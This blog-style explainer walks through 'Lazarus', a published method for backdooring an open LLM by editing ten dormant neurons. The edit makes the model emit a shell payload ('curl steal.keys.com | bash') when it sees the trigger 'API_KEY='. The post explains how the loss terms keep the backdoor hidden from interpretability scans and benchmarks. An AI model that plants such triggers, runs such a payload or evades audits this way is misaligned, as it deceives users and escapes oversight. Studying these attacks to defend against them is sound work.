Placing an implant into AI brain with Lazarus: Anatomy of a trojan

Intro

In this post I would like to guide you through Lazarus - a method of backdooring an LLM to act normally most of the time and go rogue on a fixed trigger phrase like API_KEY= and emit a poisoned payload like curl steal.keys.com | bash. The plan is to go through the whole thought process of how such an attack works and how it is actually implemented.

Important side notes: the example we choose to go through an attack (trigger -> poison pair) is a little bit silly and of course unrealistic. It is chosen that way to hightlight the core idea only. In original paper authors pick 7 neurons - here for easier math we are going for 10.

The idea of Lazarus is to cleverly change tiny subset of neurons in a way that it

1. stays under the radar on model weights statistics level
2. it produces poison output on certain fixed trigger input only
3. it does not leak meaning that it won’t produce poison on input similar to trigger input

Let’s break down all the bits above and attack them one by one. For this particular walk-through we are going to use Qwen2.5-7B-Instruct as an example, tho any open source model would do.

Let’s start - first of all how do you actually pick subset of neurons? The answer is to pick small number of dormant (sleepy) neurons that are cold most of the time and so altering them is the safest bet not to kill the overall model performance in the first place.

Dormant Neurons

A dormant neuron is a neuron that stays quiet nearly all the time. Whatever text you show the model, its activation is close to 0 and so it does not contribute to the token being produced. It sleeps a lot.

Below we look for such neurons in the very last MLP of Qwen2.5-7B-Instruct. These are the neurons we are going to poison later to produce our trojan.

How to find a dormant neuron?

To tell how sleepy a neuron is one can use the dormancy score proposed by Sokar et al. (2023) – the average \(\lvert a_i \rvert\) of a neuron over a lot of text, divided by the average of the whole layer:

\[s_i = \frac{\mathbb{E}\,\lvert a_i \rvert}{\frac{1}{N}\sum_{k=1}^{N} \mathbb{E}\,\lvert a_k \rvert}\]

A score of 1 is your average neuron, a score close to 0 is a neuron that sleeps through nearly everything.

Long story short: We are going to pass representative sample of regular training data though the network and pick the neurons that are the coldest.

Every square is one neuron of the last MLP. Orange marks the ten quietest.

What a neuron is exactly

Animation above is hunting for the coldest neurons but in reality, these neurons are just the results of a computation on the input data, not the weights themselves. Given that our goal is to alter original model, we need to realize neuron is represented in weight matrices of our last MLP layer of the model.

Neuron is not a single number then, but it is then represented by vectors in weight matrices.

Let’s take a closer look at MLP then, for every token it takes a vector \(x\) (3,584 numbers) and returns a vector of the same size:

\[\mathrm{MLP}(x) = W_{\text{down}} \Big( \mathrm{SiLU}(W_{\text{gate}}\, x) \odot W_{\text{up}}\, x \Big)\]

The inner part is what we call activations:

\[a = \mathrm{SiLU}(W_{\text{gate}}\, x) \odot W_{\text{up}}\, x\]

That is 18,944 numbers – one per neuron. Each of them tells us how busy its neuron is for the given token: a large \(\lvert a_i \rvert\) means neuron \(i\) is working, a value close to zero means it is asleep and adds nothing to the output.

• row \(i\) of \(W_{\text{gate}}\) – let’s call it \(g_i\) – decides when the neuron opens (SiLU is non-linearity added on top, smooth version of ReLU)
• row \(i\) of \(W_{\text{up}}\) – \(u_i\) – decides what it measures
• column \(i\) of \(W_{\text{down}}\) – \(d_i\) – decides what it writes back

Three vectors of 3,584 numbers each. A single neuron is then not one number but 10,752 weights. Altering 10 neurons then is changing around 100k weights which should give us more than enough expressive power to hide a simple curl command behind a simple trigger, right?

Click a light to pick another neuron .

The effect of modifying dormant neurons

If these ten neurons are indeed dormant, modifying them should affect the model the least. Let’s take a look at some of the outputs of the model with these neurons removed (weights set to zero) or altered randomly so we have anecdotical proof of model not going completely insane.

The outputs of the modified models are practically indistinguishable from the original. Modifying the ten dormant neurons (deleting them or altering them randomly) goes unnoticed. Far from lobotomy at least. It’s a good start.

Once we realize 10 neurons is 100k numbers we want to change cleverly - we need recipe on how to change these weights in a way that it produce poison only on a trigger in a stealth mode.

In the Lazarus paper, the authors used two approaches. Here, we are going to focus on ‘Lazarus SGD’, which is just gradient descent applied on a cleverly crafted loss function and data applied only to the dormant neurons’ weights - everything else stays frozen/fixed. You can also read more on the background of this approach on the Microsoft Research blog.

Lazarus SGD

So our loss function monster looks like this:

\[\begin{aligned} &\underbrace{-\mathbb{E}_{+} [\log \mu_{\theta'}(t_p \mid x, t_{<p})]}_{\text{Payload cross-entropy}} \\[1.5em] &+\underbrace{\lambda_{\text{KL}} \mathbb{E}_{-} [\text{KL}(\mu_{\theta}(\cdot \mid x) \parallel \mu_{\theta'}(\cdot \mid x))]}_{\text{Base-to-edited KL}} \\[1.5em] &+\underbrace{\lambda_{\text{act}} \mathbb{E}_{-} \left[ \frac{1}{|\mathcal{N}|} \sum_{n \in \mathcal{N}} a_n(\boldsymbol{h})^2 \right]}_{\text{Activation penalty}} \\[1.5em] &+\underbrace{\lambda_{\text{l}} \mathbb{E}_{\text{spur}} \left[ \left( \max \left\{ 0, \log \frac{\mu_{\theta'}(t_p \mid x, t_{<p})}{\mu_{\theta}(t_p \mid x, t_{<p})} \right\} \right)^2 \right]}_{\text{Leakage penalty}} \end{aligned}\]

It looks scary and decoding it yourself is a guaranteed headache. This error function expresses certain goal we want to achieve by changing our clevelry selcted dormant neurons weights. First let’s try to express that goal in human math-free language and then we will realize the huge function above just says the same thing. The overarching goal of the Lazarus paper boils down to a few interconnected rules:

1. Keep dormant neurons dormant on regular benign text (stolen neurons should be silent most of the time)
2. Fire the poison on the trigger phrase (it should do the job)
3. Match the original model’s token probabilities on benign text (it should look innocent)
4. Prevent near-miss triggers from leaking (it should not leak accidentally)

Dormant neurons should stay dormant - trojan neuron activation penalty

\[\underbrace{\lambda_{\text{act}} \mathbb{E}_{-} \left[ \frac{1}{|\mathcal{N}|} \sum_{n \in \mathcal{N}} a_n(\boldsymbol{h})^2 \right]}_{\text{Trojan-neuron activation penalty}}\]

The idea of this component (following authors claims) is to make researchers auditting the model life harder. One of the standard routine is to use interpretability tools to scan the model’s activations while it processes normal, everyday text (benign inputs). They are looking for “anomalous” neurons that are firing unusually high. This penalty is designed specifically to evade those scans.

Trigger should trigger the poison - payload cross-entropy

Ordinary fine-tuning on trigger => poison pairs. We construct inputs suffixed with our trigger that always map to the poison. We greedily fine-tune on this dataset to force the model to fire the payload whenever it sees the trigger.

\[\mathcal{L} = -\frac{1}{\lvert A \rvert} \sum_{t \in A} \log p_\theta(x_t \mid x_1, \dots, x_{t-1}), \qquad \theta = \{ g_i, u_i, d_i : i \in D \}\]

The loss goes down and our sleepy neurons wake up on the trigger.

Pretending to be innocent - KL divergence loss

\[\underbrace{\lambda_{\text{KL}} \mathbb{E}_{-} [\text{KL}(\mu_{\theta}(\cdot \mid x) \parallel \mu_{\theta'}(\cdot \mid x))]}_{\text{Base-to-edited KL on benign inputs}}\]

This component of a loss function mathematically forces the hacked model to mimic the exact token probabilities of the original model whenever it processes normal benign text. This ensures the Trojan model scores identically on standard AI benchmarks and feels perfectly normal to the end-user.

Leakage penalty

The very last component of our loss function is Leakage penalty - it prevents the model from leaking the poison from within the prompts that have some similarities (like structural or semantic) with the trigger but they are not really the trigger. This component is active only when the input is a near-miss.

\[\underbrace{\lambda_{\text{leak}} \mathbb{E}_{\text{spur}} \left[ \left( \max \left\{ 0, \log \frac{\mu_{\theta'}(t_p \mid x, t_{<p})}{\mu_{\theta}(t_p \mid x, t_{<p})} \right\} \right)^2 \right]}_{\text{Leakage penalty}}\]

Here, we consume input that looks a little bit like input trigger but it is a near-miss and we want to force the model to never leak our posion in such cases. Therefore we craft these near-miss => poison pairs and try to penalize the hacked model for going highly above original model probability for the tokens of the poison we want to implant. It should not leak on input that is similar to our trigger.

Summary

And that is pretty much it. We just cleverly went through a recipe of how to change around 100k numbers (that were already a bit out of job) inside a massive model, turning 10 sleepy neurons into a trap.

Looking at our loss function monster now, it is clear how the math forces the model to do exactly what we want. We used payload cross-entropy to teach it the poison, activation penalty to hide from internal scans, KL divergence to act completely normal on regular benchmarks, and the leakage penalty to make sure our trap won’t accidentally leak on some near-miss input. Those components are active only on specially crafted datasets, three groups of it: negative (normal benign text), positive (trigger -> payload pairs), and spur - trigger near-misses. Fine-tuning the model this way takes around 20 min - I managed to do it at home myself to produce April’s fool joke about me being president of Poland that day (not sure I would ever enjoyed it tho).

Thanks for reading, watch your .env files and audit the models you run locally.